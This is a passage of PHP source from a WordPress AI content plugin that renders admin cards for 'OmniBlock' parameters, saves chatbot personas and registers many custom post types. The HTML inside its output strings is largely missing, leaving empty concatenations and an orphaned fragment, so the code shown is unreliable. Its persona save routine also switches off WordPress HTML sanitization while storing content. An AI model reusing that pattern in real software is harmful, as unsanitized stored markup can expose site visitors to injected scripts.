            • '; $exec++; } } } } } $output .= '
            ' . esc_html__("OmniBlock Queue Stops Here", 'aiomatic-automatic-ai-content-writer') . '

            ' . esc_html__('Add A New OmniBlock To The Above Queue (Drag And Drop):', 'aiomatic-automatic-ai-content-writer') . '

            '; $output .= '
              '; if(empty($default_block_types)) { $output .= esc_html__('No AI OmniBlock Types Defined!', 'aiomatic-automatic-ai-content-writer'); } else { $first = true; $save_id = $last_id; foreach ($default_block_types as $card_id) { if(!empty($card_id['type'])) { $assistant_helper = uniqid(); $urlrandval = uniqid(); aiomatic_increment($save_id); $local_shortcodes = array(); foreach($card_id['shortcodes'] as $shtc) { $local_shortcodes[] = '%%' . $shtc . $save_id . '%%'; } $output .= '
            • '; if($card_id['id'] == 'text_spinner') { if (!isset($aiomatic_Main_Settings['spin_text']) || $aiomatic_Main_Settings['spin_text'] === 'disabled') { $plugin_required[] = 'Spinning disabled from \'Settings\' -> \'Bulk Posts\' tab -> \'Spin Text Using Word Synonyms\' settings field, this OmniBlock will not function'; } if (isset($aiomatic_Main_Settings['spin_what']) && $aiomatic_Main_Settings['spin_what'] === 'bulk') { $plugin_required[] = 'Spinning disabled for OmniBlocks, from plugin\'s \'Settings\' menu -> \'Bulk Posts\' tab -> \'Enable Spinner For\' settings field, this OmniBlock will not function'; } } elseif($card_id['id'] == 'embeddings') { if ((!isset($aiomatic_Main_Settings['pinecone_app_id']) || trim($aiomatic_Main_Settings['pinecone_app_id']) == '') && (!isset($aiomatic_Main_Settings['qdrant_app_id']) || trim($aiomatic_Main_Settings['qdrant_app_id']) == '')) { $plugin_required[] = 'You must add an OpenAI/AiomaticAPI API Key into the plugin\'s \'Settings\' menu before you can use this feature!'; } if ((!isset($aiomatic_Main_Settings['pinecone_index']) || trim($aiomatic_Main_Settings['pinecone_index']) == '') && (!isset($aiomatic_Main_Settings['qdrant_index']) || trim($aiomatic_Main_Settings['qdrant_index']) == '')) { $plugin_required[] = 'You must add a Pinecone API or a Qdrant API key in the plugin\'s \'Settings\' menu (API Keys tab), before you can use this feature!'; } } if(!empty($plugin_required)) { $output .= '

                '; foreach($plugin_required as $pr) { $output .= '
              • ' . $pr . '
              • '; } $output .= '

              '; } $output .= '
              ' . esc_html__('OmniBlock Webhook functionality not enabled in \'Settings\' menu of the plugin!' , 'aiomatic-automatic-ai-content-writer') . '', $card_id['description']); } $output .= '">' . esc_html__('OmniBlock Type:', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_attr($card_id['name']) . '

              ' . $card_id['description'] . '

              '; $output .= '

              ' . esc_html__('OmniBlock Parameters', 'aiomatic-automatic-ai-content-writer') . ' 
              ' . esc_html__('Set the parameters which will be used in this OmniBlock.', 'aiomatic-automatic-ai-content-writer') . '


              '; $first = false; foreach($card_id['parameters'] as $name => $card_type) { $output .= '

              ' . esc_html($card_type['title']) . ': 
              ' . esc_html($card_type['description']) . '

              '; if($card_type['type'] == 'text') { $randval = uniqid(); $output .= '
              '; $output .= ''; $output .= '

              %%keyword%%

              '; $output .= '
              '; } elseif($card_type['type'] == 'textarea') { $randval = uniqid(); $additional = ''; if($name == 'prompt' && $card_id['id'] == 'ai_text_foreach') { $additional .= '

              %%current_input_line_counter%%

              '; $additional .= '

              %%current_input_line%%

              '; $additional .= '

              %%all_input_lines%%

              '; } $output .= '
              '; $output .= ''; $output .= '

              %%keyword%%

              ' . $additional . '
              '; $output .= '
              '; } elseif($card_type['type'] == 'model_select') { $output .= ''; } elseif($card_type['type'] == 'model_select_function') { $output .= ''; } elseif($card_type['type'] == 'assistant_select') { $output .= ''; } elseif($card_type['type'] == 'dalle_image_size_select') { $output .= ''; } elseif($card_type['type'] == 'stable_image_size_select') { $output .= ''; } elseif($card_type['type'] == 'midjourney_image_size_select') { $output .= ''; } elseif($card_type['type'] == 'stable_video_size_select') { $output .= ''; } elseif($card_type['type'] == 'scraper_type') { $output .= ''; } elseif($card_type['type'] == 'scraper_string') { $output .= ''; } elseif($card_type['type'] == 'number') { $output .= ''; } elseif($card_type['type'] == 'checkbox') { $output .= ''; } elseif($card_type['type'] == 'dalle_image_model_select') { $output .= ''; } elseif($card_type['type'] == 'stable_image_model_select') { $output .= ''; } elseif($card_type['type'] == 'status_selector') { $output .= ''; } elseif($card_type['type'] == 'type_selector') { $output .= ''; } elseif($card_type['type'] == 'format_selector') { $output .= ''; } elseif($card_type['type'] == 'amazon_country_select') { $output .= ''; } elseif($card_type['type'] == 'amazon_sort_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'yt_community_selector') { $community_types = array('text' => 'Text', 'image' => 'Image'); $output .= ''; } elseif($card_type['type'] == 'reddit_selector') { $reddit_types = array('auto' => 'Auto', 'link' => 'Link', 'self' => 'Text', 'image' => 'Image', 'video' => 'Video'); $output .= ''; } elseif($card_type['type'] == 'method_selector') { $reddit_types = array('POST' => 'POST', 'GET' => 'GET', 'PUT' => 'PUT', 'DELETE' => 'DELETE'); $output .= ''; } elseif($card_type['type'] == 'content_type_selector') { $reddit_types = array('JSON' => 'JSON', 'form' => 'Form Data'); $output .= ''; } elseif($card_type['type'] == 'facebook_page_selector') { $output .= ''; } elseif($card_type['type'] == 'location_selector') { $output .= ''; } elseif($card_type['type'] == 'select') { $output .= ''; } elseif($card_type['type'] == 'file_type_selector') { $output .= ''; } elseif($card_type['type'] == 'file_selector') { if(empty($_GLOBALS['omni_files'])) { $_GLOBALS['omni_files'] = get_posts([ 'post_type' => 'aiomatic_omni_file', 'post_status' => 'publish', 'numberposts' => -1 ]); } $output .= ''; } elseif($card_type['type'] == 'pinterest_board_selector') { $output .= ''; } elseif($card_type['type'] == 'gpb_page_selector') { $output .= ''; } elseif($card_type['type'] == 'linkedin_page_selector') { $output .= ''; } elseif($card_type['type'] == 'language_selector') { $output .= ''; } elseif($card_type['type'] == 'url') { $randval = uniqid(); $output .= '
              '; $output .= ''; $output .= '

              %%keyword%%

              '; $output .= '
              '; } elseif($card_type['type'] == 'scraper_select') { $output .= '
              ' . esc_html__("Set if this OmniBlock is disabled or not. The disabled OmniBlocks will be skipped from processing.", 'aiomatic-automatic-ai-content-writer') . '
              '; $output .= ' X
            • '; } } } $output .= '
            ' . esc_html__("Select what type of OmniBlock you want to add.", 'aiomatic-automatic-ai-content-writer') . '
            ' . esc_html__("OmniBlock Type To Add (Drag And Drop):", 'aiomatic-automatic-ai-content-writer') . ' 
            '; return $output; } function aiomatic_save_persona($title, $prompt, $description, $first_message, $avatar) { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong persona saving'); $persona_data = array( 'post_type' => 'aiomatic_personas', 'post_title' => $title, 'post_content' => $prompt, 'post_excerpt' => $description, 'post_status' => 'publish' ); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $persona_id = wp_insert_post($persona_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($persona_id)) { $aiomatic_result['msg'] = $persona_id->get_error_message(); } elseif($persona_id === 0) { $aiomatic_result['msg'] = 'Failed to insert persona to database: ' . $title; } else { if(!empty($first_message)) { update_post_meta($persona_id, '_persona_first_message', sanitize_text_field($first_message)); } if(!empty($avatar)) { require_once(ABSPATH . 'wp-admin/includes/image.php'); require_once(ABSPATH . 'wp-admin/includes/media.php'); $res2 = set_post_thumbnail($persona_id, $avatar); if ($res2 === FALSE) { $aiomatic_result['msg'] = 'Failed to insert persona avatar to database: ' . $avatar; } } $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $persona_id; } return $aiomatic_result; } require(dirname(__FILE__) . "/res/StatisticsClass.php"); require(dirname(__FILE__) . "/res/QueryClass.php"); $aiomatic_stats = new Aiomatic_Statistics(); add_action('init', 'aiomatic_create_taxonomy', 0); function aiomatic_create_taxonomy() { if(AIOMATIC_IS_DEBUG === true) { $labels = array( 'name' => 'AI Training File', 'all_items' => 'All AI Training Files', 'singular_name' => 'aiomatic_file', 'add_new' => 'New AI Training File' , 'add_new_item' => 'Add New AI Training File', 'edit_item' => 'Edit AI Training File', 'new_item' => 'New AI Training File', 'view_item' => 'View AI Training File', 'search_items' => 'Search AI Training Files', 'not_found' => 'No AI Training Files found', 'not_found_in_trash' => 'No AI Training File found in Trash', 'parent_item_colon' => 'Parent AI Training Files:', 'menu_name' => 'AI Training Files', ); $args = array( 'labels' => $labels, 'hierarchical' => false, 'description' => 'AI Training Files', 'supports' => array( 'title', 'editor', 'custom-fields' ), 'public' => true, 'show_ui' => true, 'show_in_menu' => true, 'show_in_nav_menus' => true, 'show_in_admin_bar' => true, 'show_in_rest' => false, 'menu_position' => 66666665666666666, 'publicly_queryable' => false, 'exclude_from_search' => true, 'has_archive' => false, 'query_var' => true, 'can_export' => true, 'rewrite' => true, 'capability_type' => 'post' ); $admin_caps = array('capabilities' => array( 'edit_post' => 'access_aiomatic_menu', 'read_post' => 'access_aiomatic_menu', 'delete_post' => 'access_aiomatic_menu', 'edit_posts' => 'access_aiomatic_menu', 'edit_others_posts' => 'access_aiomatic_menu', 'delete_posts' => 'access_aiomatic_menu', 'publish_posts' => 'access_aiomatic_menu', 'read_private_posts' => 'access_aiomatic_menu' )); $args = array_merge($args, $admin_caps); register_post_type( 'aiomatic_file', $args); $labels = array( 'name' => 'AI Conversion File', 'all_items' => 'All AI Conversion Files', 'singular_name' => 'aiomatic_convert', 'add_new' => 'New AI Conversion File' , 'add_new_item' => 'Add New AI Conversion File', 'edit_item' => 'Edit AI Conversion File', 'new_item' => 'New AI Conversion File', 'view_item' => 'View AI Conversion File', 'search_items' => 'Search AI Conversion Files', 'not_found' => 'No AI Conversion Files found', 'not_found_in_trash' => 'No AI Conversion File found in Trash', 'parent_item_colon' => 'Parent AI Conversion Files:', 'menu_name' => 'AI Conversion Files', ); $args = array( 'labels' => $labels, 'hierarchical' => false, 'description' => 'AI Conversion Files', 'supports' => array( 'title', 'editor', 'custom-fields' ), 'public' => true, 'show_ui' => true, 'show_in_menu' => true, 'show_in_nav_menus' => true, 'show_in_admin_bar' => true, 'show_in_rest' => false, 'menu_position' => 66666665666666666, 'publicly_queryable' => false, 'exclude_from_search' => true, 'has_archive' => false, 'query_var' => true, 'can_export' => true, 'rewrite' => true, 'capability_type' => 'post' ); $admin_caps = array('capabilities' => array( 'edit_post' => 'access_aiomatic_menu', 'read_post' => 'access_aiomatic_menu', 'delete_post' => 'access_aiomatic_menu', 'edit_posts' => 'access_aiomatic_menu', 'edit_others_posts' => 'access_aiomatic_menu', 'delete_posts' => 'access_aiomatic_menu', 'publish_posts' => 'access_aiomatic_menu', 'read_private_posts' => 'access_aiomatic_menu' )); $args = array_merge($args, $admin_caps); register_post_type( 'aiomatic_convert', $args); $labels = array( 'name' => 'AI Finetune', 'all_items' => 'All AI Finetunes', 'singular_name' => 'aiomatic_finetune', 'add_new' => 'New AI Finetune' , 'add_new_item' => 'Add New AI Finetune', 'edit_item' => 'Edit AI Finetune', 'new_item' => 'New AI Finetune', 'view_item' => 'View AI Finetune', 'search_items' => 'Search AI Finetunes', 'not_found' => 'No AI Finetunes found', 'not_found_in_trash' => 'No AI Finetune found in Trash', 'parent_item_colon' => 'Parent AI Finetune:', 'menu_name' => 'AI Finetune', ); $args = array( 'labels' => $labels, 'hierarchical' => false, 'description' => 'AI Finetune', 'supports' => array( 'title', 'editor', 'custom-fields' ), 'public' => true, 'show_ui' => true, 'show_in_menu' => true, 'show_in_nav_menus' => true, 'show_in_admin_bar' => true, 'show_in_rest' => false, 'menu_position' => 66666665666666666, 'publicly_queryable' => false, 'exclude_from_search' => true, 'has_archive' => false, 'query_var' => true, 'can_export' => true, 'rewrite' => true, 'capability_type' => 'post' ); $admin_caps = array('capabilities' => array( 'edit_post' => 'access_aiomatic_menu', 'read_post' => 'access_aiomatic_menu', 'delete_post' => 'access_aiomatic_menu', 'edit_posts' => 'access_aiomatic_menu', 'edit_others_posts' => 'access_aiomatic_menu', 'delete_posts' => 'access_aiomatic_menu', 'publish_posts' => 'access_aiomatic_menu', 'read_private_posts' => 'access_aiomatic_menu' )); $args = array_merge($args, $admin_caps); register_post_type( 'aiomatic_finetune', $args); } $labels = array( 'name' => 'AI Embedding', 'all_items' => 'All AI Embeddings', 'singular_name' => 'aiomatic_embeddings', 'add_new' => 'New AI Embedding' , 'add_new_item' => 'Add New AI Embeddings', 'edit_item' => 'Edit AI Embeddings', 'new_item' => 'New AI Embeddings', 'view_item' => 'View AI Embeddings', 'search_items' => 'Search AI Embeddings', 'not_found' => 'No AI Embeddings found', 'not_found_in_trash' => 'No AI Embeddings found in Trash', 'parent_item_colon' => 'Parent AI Embeddings:', 'menu_name' => 'AI Embeddings', ); $args = array( 'labels' => $labels, 'hierarchical' => false, 'description' => 'AI Embeddings', 'supports' => array( 'title', 'editor', 'custom-fields' ), 'public' => false, 'show_ui' => true, 'show_in_menu' => false, 'show_in_nav_menus' => false, 'show_in_admin_bar' => false, 'show_in_rest' => false, 'menu_position' => 66666665666666666, 'publicly_queryable' => false, 'exclude_from_search' => true, 'has_archive' => false, 'query_var' => true, 'can_export' => false, 'rewrite' => false, 'capability_type' => 'post', 'capabilities' => array( 'create_posts' => false, ) ); $admin_caps = array('capabilities' => array( 'edit_post' => 'access_aiomatic_menu', 'read_post' => 'access_aiomatic_menu', 'delete_post' => 'access_aiomatic_menu', 'edit_posts' => 'access_aiomatic_menu', 'edit_others_posts' => 'access_aiomatic_menu', 'delete_posts' => 'access_aiomatic_menu', 'publish_posts' => 'access_aiomatic_menu', 'read_private_posts' => 'access_aiomatic_menu' )); $args = array_merge($args, $admin_caps); register_post_type( 'aiomatic_embeddings', $args); $labels = array( 'name' => 'AI Remote Chatbot', 'all_items' => 'All AI Remote Chatbot', 'singular_name' => 'aiomatic_remote_chat', 'add_new' => 'New AI Remote Chatbot' , 'add_new_item' => 'Add New AI Remote Chatbots', 'edit_item' => 'Edit AI Remote Chatbots', 'new_item' => 'New AI Remote Chatbots', 'view_item' => 'View AI Remote Chatbots', 'search_items' => 'Search AI Remote Chatbots', 'not_found' => 'No AI Remote Chatbots found', 'not_found_in_trash' => 'No AI Remote Chatbots found in Trash', 'parent_item_colon' => 'Parent AI Remote Chatbots:', 'menu_name' => 'AI Remote Chatbots', ); $args = array( 'labels' => $labels, 'hierarchical' => false, 'description' => 'AI Remote Chatbots', 'supports' => array( 'title', 'editor' ), 'public' => false, 'show_ui' => true, 'show_in_menu' => false, 'show_in_nav_menus' => false, 'show_in_admin_bar' => false, 'show_in_rest' => false, 'menu_position' => 66666665666666666, 'publicly_queryable' => true, 'exclude_from_search' => true, 'has_archive' => false, 'query_var' => true, 'can_export' => false, 'rewrite' => false, 'capability_type' => 'page', 'capabilities' => array( 'create_posts' => false, ) ); $admin_caps = array('capabilities' => array( 'edit_post' => 'access_aiomatic_menu', 'read_post' => 'access_aiomatic_menu', 'delete_post' => 'access_aiomatic_menu', 'edit_posts' => 'access_aiomatic_menu', 'edit_others_posts' => 'access_aiomatic_menu', 'delete_posts' => 'access_aiomatic_menu', 'publish_posts' => 'access_aiomatic_menu', 'read_private_posts' => 'access_aiomatic_menu' )); $args = array_merge($args, $admin_caps); register_post_type( 'aiomatic_remote_chat', $args); $labels = array( 'name' => 'AI Form', 'all_items' => 'All AI Forms', 'singular_name' => 'aiomatic_forms', 'add_new' => 'New AI Form' , 'add_new_item' => 'Add New AI Forms', 'edit_item' => 'Edit AI Forms', 'new_item' => 'New AI Forms', 'view_item' => 'View AI Forms', 'search_items' => 'Search AI Forms', 'not_found' => 'No AI Forms found', 'not_found_in_trash' => 'No AI Forms found in Trash', 'parent_item_colon' => 'Parent AI Forms:', 'menu_name' => 'AI Forms', ); $args = array( 'labels' => $labels, 'hierarchical' => false, 'description' => 'AI Forms', 'supports' => array( 'title', 'editor', 'custom-fields' ), 'public' => false, 'show_ui' => true, 'show_in_menu' => false, 'show_in_nav_menus' => false, 'show_in_admin_bar' => false, 'show_in_rest' => false, 'menu_position' => 66666665666666666, 'publicly_queryable' => false, 'exclude_from_search' => true, 'has_archive' => false, 'query_var' => true, 'can_export' => false, 'rewrite' => false, 'capability_type' => 'post', 'capabilities' => array( 'create_posts' => false, ) ); $admin_caps = array('capabilities' => array( 'edit_post' => 'access_aiomatic_menu', 'read_post' => 'access_aiomatic_menu', 'delete_post' => 'access_aiomatic_menu', 'edit_posts' => 'access_aiomatic_menu', 'edit_others_posts' => 'access_aiomatic_menu', 'delete_posts' => 'access_aiomatic_menu', 'publish_posts' => 'access_aiomatic_menu', 'read_private_posts' => 'access_aiomatic_menu' )); $args = array_merge($args, $admin_caps); register_post_type( 'aiomatic_forms', $args); $labels = array( 'name' => 'AI Persona', 'all_items' => 'All AI Personas', 'singular_name' => 'aiomatic_personas', 'add_new' => 'New AI Persona' , 'add_new_item' => 'Add New AI Persona', 'edit_item' => 'Edit AI Persona', 'new_item' => 'New AI Persona', 'view_item' => 'View AI Persona', 'search_items' => 'Search AI Persona', 'not_found' => 'No AI Persona found', 'featured_image' => 'Persona Avatar', 'set_featured_image' => 'Set Persona Avatar', 'remove_featured_image' => 'Remove Persona Avatar', 'use_featured_image' => 'Use as Persona Avatar', 'not_found_in_trash' => 'No AI Persona found in Trash', 'parent_item_colon' => 'Parent AI Persona:', 'menu_name' => 'AI Personas', 'item_published' => 'Post published.', 'item_published_privately' => 'Post published privately.', 'item_reverted_to_draft' => 'Post reverted to draft.', 'item_trashed' => 'Post trashed.', 'item_scheduled' => 'Post scheduled.', 'item_updated' => 'Post updated.', 'item_link' => 'Post Link', 'item_link_description' => 'A link to a post.', ); $args = array( 'labels' => $labels, 'hierarchical' => false, 'description' => 'AI Personas', 'supports' => array( 'title', 'thumbnail', 'excerpt', 'editor', 'custom-fields' ), 'public' => false, 'show_ui' => true, 'show_in_menu' => false, 'show_in_nav_menus' => false, 'show_in_admin_bar' => false, 'show_in_rest' => false, 'menu_position' => 66666665666666666, 'publicly_queryable' => false, 'exclude_from_search' => true, 'has_archive' => false, 'query_var' => true, 'can_export' => false, 'rewrite' => false, 'capability_type' => 'post', 'capabilities' => array( 'create_posts' => false, ) ); $admin_caps = array('capabilities' => array( 'edit_post' => 'access_aiomatic_menu', 'read_post' => 'access_aiomatic_menu', 'delete_post' => 'access_aiomatic_menu', 'edit_posts' => 'access_aiomatic_menu', 'edit_others_posts' => 'access_aiomatic_menu', 'delete_posts' => 'access_aiomatic_menu', 'publish_posts' => 'access_aiomatic_menu', 'read_private_posts' => 'access_aiomatic_menu' )); $args = array_merge($args, $admin_caps); register_post_type( 'aiomatic_personas', $args); $labels = array( 'name' => 'AI Assistant', 'all_items' => 'All AI Assistants', 'singular_name' => 'aiomatic_assistants', 'add_new' => 'New AI Assistant' , 'add_new_item' => 'Add New AI Assistant', 'edit_item' => 'Edit AI Assistant', 'new_item' => 'New AI Assistant', 'view_item' => 'View AI Assistant', 'search_items' => 'Search AI Assistant', 'not_found' => 'No AI Assistant found', 'featured_image' => 'Assistant Avatar', 'set_featured_image' => 'Set Assistant Avatar', 'remove_featured_image' => 'Remove Assistant Avatar', 'use_featured_image' => 'Use as Assistant Avatar', 'not_found_in_trash' => 'No AI Assistant found in Trash', 'parent_item_colon' => 'Parent AI Assistant:', 'menu_name' => 'AI Assistants', 'item_published' => 'Post published.', 'item_published_privately' => 'Post published privately.', 'item_reverted_to_draft' => 'Post reverted to draft.', 'item_trashed' => 'Post trashed.', 'item_scheduled' => 'Post scheduled.', 'item_updated' => 'Post updated.', 'item_link' => 'Post Link', 'item_link_description' => 'A link to a post.', ); $args = array( 'labels' => $labels, 'hierarchical' => false, 'description' => 'AI Assistants', 'supports' => array( 'title', 'thumbnail', 'excerpt', 'editor', 'custom-fields' ), 'public' => false, 'show_ui' => true, 'show_in_menu' => false, 'show_in_nav_menus' => false, 'show_in_admin_bar' => false, 'show_in_rest' => false, 'menu_position' => 66666665666666666, 'publicly_queryable' => false, 'exclude_from_search' => true, 'has_archive' => false, 'query_var' => true, 'can_export' => false, 'rewrite' => false, 'capability_type' => 'post', 'capabilities' => array( 'create_posts' => false, ) ); $admin_caps = array('capabilities' => array( 'edit_post' => 'access_aiomatic_menu', 'read_post' => 'access_aiomatic_menu', 'delete_post' => 'access_aiomatic_menu', 'edit_posts' => 'access_aiomatic_menu', 'edit_others_posts' => 'access_aiomatic_menu', 'delete_posts' => 'access_aiomatic_menu', 'publish_posts' => 'access_aiomatic_menu', 'read_private_posts' => 'access_aiomatic_menu' )); $args = array_merge($args, $admin_caps); register_post_type( 'aiomatic_assistants', $args); $labels = array( 'name' => 'AI Batch Requests', 'all_items' => 'All AI Batch Requests', 'singular_name' => 'aiomatic_batch', 'add_new' => 'New AI Batch Requests' , 'add_new_item' => 'Add New AI Batch Requests', 'edit_item' => 'Edit AI Batch Requests', 'new_item' => 'New AI Batch Requests', 'view_item' => 'View AI Batch Requests', 'search_items' => 'Search AI Batch Requests', 'not_found' => 'No AI Batch Requests found', 'featured_image' => 'Batch Requests Avatar', 'set_featured_image' => 'Set Batch Requests Avatar', 'remove_featured_image' => 'Remove Batch Requests Avatar', 'use_featured_image' => 'Use as Batch Requests Avatar', 'not_found_in_trash' => 'No AI Batch Requests found in Trash', 'parent_item_colon' => 'Parent AI Batch Requests:', 'menu_name' => 'AI Batch Requests', 'item_published' => 'Post published.', 'item_published_privately' => 'Post published privately.', 'item_reverted_to_draft' => 'Post reverted to draft.', 'item_trashed' => 'Post trashed.', 'item_scheduled' => 'Post scheduled.', 'item_updated' => 'Post updated.', 'item_link' => 'Post Link', 'item_link_description' => 'A link to a post.', ); $args = array( 'labels' => $labels, 'hierarchical' => false, 'description' => 'AI Batch Requests', 'supports' => array( 'title', 'thumbnail', 'excerpt', 'editor', 'custom-fields' ), 'public' => false, 'show_ui' => true, 'show_in_menu' => false, 'show_in_nav_menus' => false, 'show_in_admin_bar' => false, 'show_in_rest' => false, 'menu_position' => 66666665666666666, 'publicly_queryable' => false, 'exclude_from_search' => true, 'has_archive' => false, 'query_var' => true, 'can_export' => false, 'rewrite' => false, 'capability_type' => 'post', 'capabilities' => array( 'create_posts' => false, ) ); $admin_caps = array('capabilities' => array( 'edit_post' => 'access_aiomatic_menu', 'read_post' => 'access_aiomatic_menu', 'delete_post' => 'access_aiomatic_menu', 'edit_posts' => 'access_aiomatic_menu', 'edit_others_posts' => 'access_aiomatic_menu', 'delete_posts' => 'access_aiomatic_menu', 'publish_posts' => 'access_aiomatic_menu', 'read_private_posts' => 'access_aiomatic_menu' )); $args = array_merge($args, $admin_caps); register_post_type( 'aiomatic_batches', $args); $labels = array( 'name' => 'OmniBlock Templates', 'all_items' => 'All OmniBlock Templates', 'singular_name' => 'aiomatic_omni_temp', 'add_new' => 'New OmniBlock Template' , 'add_new_item' => 'Add New OmniBlock Template', 'edit_item' => 'Edit OmniBlock Template', 'new_item' => 'New OmniBlock Template', 'view_item' => 'View OmniBlock Template', 'search_items' => 'Search OmniBlock Templates', 'not_found' => 'No OmniBlock Templates found', 'featured_image' => 'OmniBlock Templates Avatar', 'set_featured_image' => 'Set OmniBlock Templates Avatar', 'remove_featured_image' => 'Remove OmniBlock Templates Avatar', 'use_featured_image' => 'Use as OmniBlock Templates Avatar', 'not_found_in_trash' => 'No OmniBlock Templates found in Trash', 'parent_item_colon' => 'Parent OmniBlock Templates:', 'menu_name' => 'OmniBlock Templates', 'item_published' => 'Post published.', 'item_published_privately' => 'Post published privately.', 'item_reverted_to_draft' => 'Post reverted to draft.', 'item_trashed' => 'Post trashed.', 'item_scheduled' => 'Post scheduled.', 'item_updated' => 'Post updated.', 'item_link' => 'Post Link', 'item_link_description' => 'A link to a post.', ); $args = array( 'labels' => $labels, 'hierarchical' => false, 'description' => 'OmniBlock Templates', 'supports' => array( 'title', 'editor' ), 'public' => false, 'show_ui' => true, 'show_in_menu' => false, 'show_in_nav_menus' => false, 'show_in_admin_bar' => false, 'show_in_rest' => false, 'menu_position' => 66666665666666666, 'publicly_queryable' => false, 'exclude_from_search' => true, 'has_archive' => false, 'query_var' => true, 'can_export' => false, 'rewrite' => false, 'capability_type' => 'post', 'capabilities' => array( 'create_posts' => false, ) ); $admin_caps = array('capabilities' => array( 'edit_post' => 'access_aiomatic_menu', 'read_post' => 'access_aiomatic_menu', 'delete_post' => 'access_aiomatic_menu', 'edit_posts' => 'access_aiomatic_menu', 'edit_others_posts' => 'access_aiomatic_menu', 'delete_posts' => 'access_aiomatic_menu', 'publish_posts' => 'access_aiomatic_menu', 'read_private_posts' => 'access_aiomatic_menu' )); $args = array_merge($args, $admin_caps); register_post_type( 'aiomatic_omni_temp', $args); register_taxonomy( 'ai_template_categories', 'aiomatic_omni_temp', array( 'hierarchical' => true, 'label' => 'Category', 'query_var' => true ) ); $labels = array( 'name' => 'OmniBlock File', 'all_items' => 'All OmniBlock Files', 'singular_name' => 'aiomatic_omni_file', 'add_new' => 'New OmniBlock File' , 'add_new_item' => 'Add New OmniBlock File', 'edit_item' => 'Edit OmniBlock File', 'new_item' => 'New OmniBlock File', 'view_item' => 'View OmniBlock File', 'search_items' => 'Search OmniBlock Files', 'not_found' => 'No OmniBlock Files found', 'featured_image' => 'OmniBlock File Avatar', 'set_featured_image' => 'Set OmniBlock File Avatar', 'remove_featured_image' => 'Remove OmniBlock File Avatar', 'use_featured_image' => 'Use as OmniBlock File Avatar', 'not_found_in_trash' => 'No OmniBlock Files found in Trash', 'parent_item_colon' => 'Parent OmniBlock File:', 'menu_name' => 'OmniBlock File', 'item_published' => 'Post published.', 'item_published_privately' => 'Post published privately.', 'item_reverted_to_draft' => 'Post reverted to draft.', 'item_trashed' => 'Post trashed.', 'item_scheduled' => 'Post scheduled.', 'item_updated' => 'Post updated.', 'item_link' => 'Post Link', 'item_link_description' => 'A link to a post.', ); $args = array( 'labels' => $labels, 'hierarchical' => false, 'description' => 'OmniBlock File', 'supports' => array( 'title', 'editor', 'custom-fields' ), 'public' => false, 'show_ui' => true, 'show_in_menu' => false, 'show_in_nav_menus' => false, 'show_in_admin_bar' => false, 'show_in_rest' => false, 'menu_position' => 66666665666666666, 'publicly_queryable' => false, 'exclude_from_search' => true, 'has_archive' => false, 'query_var' => true, 'can_export' => false, 'rewrite' => false, 'capability_type' => 'post', 'capabilities' => array( 'create_posts' => false, ) ); $admin_caps = array('capabilities' => array( 'edit_post' => 'access_aiomatic_menu', 'read_post' => 'access_aiomatic_menu', 'delete_post' => 'access_aiomatic_menu', 'edit_posts' => 'access_aiomatic_menu', 'edit_others_posts' => 'access_aiomatic_menu', 'delete_posts' => 'access_aiomatic_menu', 'publish_posts' => 'access_aiomatic_menu', 'read_private_posts' => 'access_aiomatic_menu' )); $args = array_merge($args, $admin_caps); register_post_type( 'aiomatic_omni_file', $args); register_taxonomy( 'ai_file_type', 'aiomatic_omni_file', array( 'hierarchical' => true, 'label' => 'Location', 'query_var' => true ) ); $labels = array( 'name' => 'Chatbot Theme', 'all_items' => 'All Chatbot Themes', 'singular_name' => 'aiomatic_themes', 'add_new' => 'New Chatbot Theme' , 'add_new_item' => 'Add New Chatbot Theme', 'edit_item' => 'Edit Chatbot Theme', 'new_item' => 'New Chatbot Theme', 'view_item' => 'View Chatbot Theme', 'search_items' => 'Search Chatbot Theme', 'not_found' => 'No Chatbot Theme found', 'featured_image' => 'Theme Image', 'set_featured_image' => 'Set Theme Image', 'remove_featured_image' => 'Remove Theme Image', 'use_featured_image' => 'Use as Theme Image', 'not_found_in_trash' => 'No Chatbot Theme found in Trash', 'parent_item_colon' => 'Parent Chatbot Theme:', 'menu_name' => 'Chatbot Themes', 'item_published' => 'Post published.', 'item_published_privately' => 'Post published privately.', 'item_reverted_to_draft' => 'Post reverted to draft.', 'item_trashed' => 'Post trashed.', 'item_scheduled' => 'Post scheduled.', 'item_updated' => 'Post updated.', 'item_link' => 'Post Link', 'item_link_description' => 'A link to a post.', ); $args = array( 'labels' => $labels, 'hierarchical' => false, 'description' => 'Chatbot Themes', 'supports' => array( 'title', 'editor' ), 'public' => false, 'show_ui' => true, 'show_in_menu' => false, 'show_in_nav_menus' => false, 'show_in_admin_bar' => false, 'show_in_rest' => false, 'menu_position' => 66666665666666666, 'publicly_queryable' => false, 'exclude_from_search' => true, 'has_archive' => false, 'query_var' => true, 'can_export' => false, 'rewrite' => false, 'capability_type' => 'post', 'capabilities' => array( 'create_posts' => false, ) ); $admin_caps = array('capabilities' => array( 'edit_post' => 'access_aiomatic_menu', 'read_post' => 'access_aiomatic_menu', 'delete_post' => 'access_aiomatic_menu', 'edit_posts' => 'access_aiomatic_menu', 'edit_others_posts' => 'access_aiomatic_menu', 'delete_posts' => 'access_aiomatic_menu', 'publish_posts' => 'access_aiomatic_menu', 'read_private_posts' => 'access_aiomatic_menu' )); $args = array_merge($args, $admin_caps); register_post_type( 'aiomatic_themes', $args); $args = array( 'labels' => $labels, 'hierarchical' => false, 'description' => 'AI User Data', 'supports' => array( 'title', 'editor', 'custom-fields' ), 'public' => false, 'show_ui' => true, 'show_in_menu' => false, 'show_in_nav_menus' => false, 'show_in_admin_bar' => false, 'show_in_rest' => false, 'menu_position' => 66666665666666666, 'publicly_queryable' => false, 'exclude_from_search' => true, 'has_archive' => false, 'query_var' => true, 'can_export' => false, 'rewrite' => false, 'capability_type' => 'post', 'capabilities' => array( 'create_posts' => false, ) ); $admin_caps = array('capabilities' => array( 'edit_post' => 'access_aiomatic_menu', 'read_post' => 'access_aiomatic_menu', 'delete_post' => 'access_aiomatic_menu', 'edit_posts' => 